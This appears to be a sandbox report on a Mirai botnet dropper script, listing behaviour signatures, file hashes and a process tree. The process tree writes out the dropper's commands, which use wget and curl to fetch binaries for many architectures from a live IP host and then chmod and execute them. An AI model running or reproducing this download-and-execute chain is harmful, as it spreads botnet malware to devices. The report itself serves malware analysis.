Overview

overview

10

Static

static

1

ohsitsvegawellrip.sh

ubuntu-18.04-amd64

10

ohsitsvegawellrip.sh

debian-9-armhf

10

ohsitsvegawellrip.sh

debian-9-mips

10

ohsitsvegawellrip.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    27/03/2025, 12:13

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ohsitsvegawellrip.sh

  • Size

    3KB

  • MD5

    bd5e291801c56bce037d4222db8048a8

  • SHA1

    604dbdedf1611a4e40546cb19455c5d49bdd2537

  • SHA256

    75c2685fac6f7d0eb80f04d174e8977d0363398e9c2852b1939d9951606331c5

  • SHA512

    5cfc3d4e72d492e24418106f2713525e544be0bd47342f59ce7d3beba59f59a2540bfab00b6a219df644840911bf4144cabcc4111b989afdbd7b1e520e2ffa07

Score
10/10
miraibotnetcredential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • Contacts a large (15355) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 28 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Enumerates active TCP sockets 1 TTPs 13 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Reads process memory 1 TTPs 31 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Changes its process name 14 IoCs
  • Reads system network configuration 1 TTPs 13 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Reads runtime system information 15 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohsitsvegawellrip.sh
    /tmp/ohsitsvegawellrip.sh
    1⤵
    • Executes dropped EXE
    • System Network Configuration Discovery
    • Writes file to tmp directory
    PID:738
    • /usr/bin/wget
      wget http://196.251.86.49/bins/k03ldc.x86
      2⤵
      • Writes file to tmp directory
      PID:741
    • /usr/bin/curl
      curl -O http://196.251.86.49/bins/k03ldc.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:753
    • /bin/cat
      cat k03ldc.x86
      2⤵
        PID:766
      • /bin/chmod
        chmod +x k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-3u0Oep
        2⤵
        • File and Directory Permissions Modification
        PID:767
      • /tmp/loudscream
        ./loudscream .x86
        2⤵
          PID:768
        • /usr/bin/wget
          wget http://196.251.86.49/bins/k03ldc
          2⤵
            PID:771
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.mips
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:773
          • /bin/cat
            cat k03ldc.mips
            2⤵
            • System Network Configuration Discovery
            PID:774
          • /bin/chmod
            chmod +x k03ldc.mips k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-3u0Oep
            2⤵
            • File and Directory Permissions Modification
            PID:775
          • /tmp/loudscream
            ./loudscream .mips
            2⤵
            • Modifies Watchdog functionality
            • Changes its process name
            • System Network Configuration Discovery
            PID:776
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.mpsl
            2⤵
            • Writes file to tmp directory
            PID:780
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.mpsl
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:783
          • /bin/chmod
            chmod +x k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-3u0Oep
            2⤵
            • File and Directory Permissions Modification
            PID:785
          • /tmp/loudscream
            ./loudscream .mpsl
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            PID:786
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.arm
            2⤵
            • Writes file to tmp directory
            PID:837
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.arm
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:838
          • /bin/chmod
            chmod +x k03ldc.arm k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-3u0Oep
            2⤵
            • File and Directory Permissions Modification
            PID:848
          • /tmp/loudscream
            ./loudscream .arm
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            PID:850
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.arm5
            2⤵
            • Writes file to tmp directory
            PID:874
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.arm5
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:878
          • /bin/chmod
            chmod +x k03ldc.arm k03ldc.arm5 k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-3u0Oep
            2⤵
            • File and Directory Permissions Modification
            PID:880
          • /tmp/loudscream
            ./loudscream .arm5
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            PID:881
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.arm6
            2⤵
            • Writes file to tmp directory
            PID:884
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.arm6
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:888
          • /bin/chmod
            chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh systemd-private-ccbf3bf9d92b4e22a8a1ec634726b288-systemd-timedated.service-3u0Oep
            2⤵
            • File and Directory Permissions Modification
            PID:890
          • /tmp/loudscream
            ./loudscream .arm6
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            PID:891
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.arm7
            2⤵
            • Writes file to tmp directory
            PID:897
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.arm7
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:901
          • /bin/chmod
            chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.mips k03ldc.mpsl k03ldc.x86 loudscream ohsitsvegawellrip.sh
            2⤵
            • File and Directory Permissions Modification
            PID:903
          • /tmp/loudscream
            ./loudscream .arm7
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            PID:904
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.ppc
            2⤵
            • Writes file to tmp directory
            PID:907
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.ppc
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:911
          • /bin/chmod
            chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.x86 loudscream ohsitsvegawellrip.sh
            2⤵
            • File and Directory Permissions Modification
            PID:913
          • /tmp/loudscream
            ./loudscream .ppc
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Reads process memory
            • Changes its process name
            • Reads system network configuration
            PID:914
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.m68k
            2⤵
            • Writes file to tmp directory
            PID:917
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.m68k
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:921
          • /bin/chmod
            chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.x86 loudscream ohsitsvegawellrip.sh
            2⤵
            • File and Directory Permissions Modification
            PID:923
          • /tmp/loudscream
            ./loudscream .m68k
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            PID:924
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.sh4
            2⤵
            • Writes file to tmp directory
            PID:927
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.sh4
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:931
          • /bin/chmod
            chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.x86 loudscream ohsitsvegawellrip.sh
            2⤵
            • File and Directory Permissions Modification
            PID:933
          • /tmp/loudscream
            ./loudscream .sh4
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            PID:934
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.spc
            2⤵
            • Writes file to tmp directory
            PID:937
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.spc
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:941
          • /bin/chmod
            chmod +x k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 loudscream ohsitsvegawellrip.sh
            2⤵
            • File and Directory Permissions Modification
            PID:943
          • /tmp/loudscream
            ./loudscream .spc
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            PID:944
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.arc
            2⤵
            • Writes file to tmp directory
            PID:950
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.arc
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:951
          • /bin/chmod
            chmod +x k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 loudscream ohsitsvegawellrip.sh
            2⤵
            • File and Directory Permissions Modification
            PID:953
          • /tmp/loudscream
            ./loudscream .arc
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            PID:954
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.x86_64
            2⤵
            • Writes file to tmp directory
            PID:957
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.x86_64
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:961
          • /bin/chmod
            chmod +x k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 k03ldc.x86_64 loudscream ohsitsvegawellrip.sh
            2⤵
            • File and Directory Permissions Modification
            PID:963
          • /tmp/loudscream
            ./loudscream .x86_64
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Reads process memory
            • Changes its process name
            • Reads system network configuration
            PID:964
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.i686
            2⤵
            • Writes file to tmp directory
            PID:967
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.i686
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:971
          • /bin/chmod
            chmod +x k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.i686 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 k03ldc.x86_64 loudscream ohsitsvegawellrip.sh
            2⤵
            • File and Directory Permissions Modification
            PID:973
          • /tmp/loudscream
            ./loudscream .i686
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            PID:974
          • /usr/bin/wget
            wget http://196.251.86.49/bins/k03ldc.i486
            2⤵
            • Writes file to tmp directory
            PID:977
          • /usr/bin/curl
            curl -O http://196.251.86.49/bins/k03ldc.i486
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:981
          • /bin/chmod
            chmod +x k03ldc.arc k03ldc.arm k03ldc.arm5 k03ldc.arm6 k03ldc.arm7 k03ldc.i486 k03ldc.i686 k03ldc.m68k k03ldc.mips k03ldc.mpsl k03ldc.ppc k03ldc.sh4 k03ldc.spc k03ldc.x86 k03ldc.x86_64 loudscream ohsitsvegawellrip.sh
            2⤵
            • File and Directory Permissions Modification
            PID:983
          • /tmp/loudscream
            ./loudscream .i486
            2⤵
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Reads process memory
            • Changes its process name
            • Reads system network configuration
            PID:984

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/k03ldc.x86
          Filesize

          53KB

          MD5

          24356e787f328a42cc9ea7ec243e9814

          SHA1

          a3ef01ab629812d31fd18f35a0414a464e832f39

          SHA256

          129a3f3ab60b25f8cc9ccb21136710f486cdf8269f0b3c67ef44f88cecd107ac

          SHA512

          0a05e80260cbe65030dd70448d6951c4f9d6f8e1a3a47b33cf13c64a3dfdc302f6a50f5322cf094e167744dc2b29c03905d9386e4870069b59b5588396c0c5dd

          Download Submit

        • /tmp/loudscream
          Filesize

          78KB

          MD5

          4ac71305f9f8e2f1d6a13ac33f003d02

          SHA1

          b8c389354df8e07b3022212150ea5984b9903870

          SHA256

          8f0b4107429b21c6994d052ee2b00024a43d11edb44bee6062176fcf46a16767

          SHA512

          4f73a1c9806c157840b9109d9b575db765160c5e04293d241a321dcbfce9e506cb956d2645e790ef1d9b985ceb0a323bad60b7fbefc5b990b2ceaa4aed93d465

          Download Submit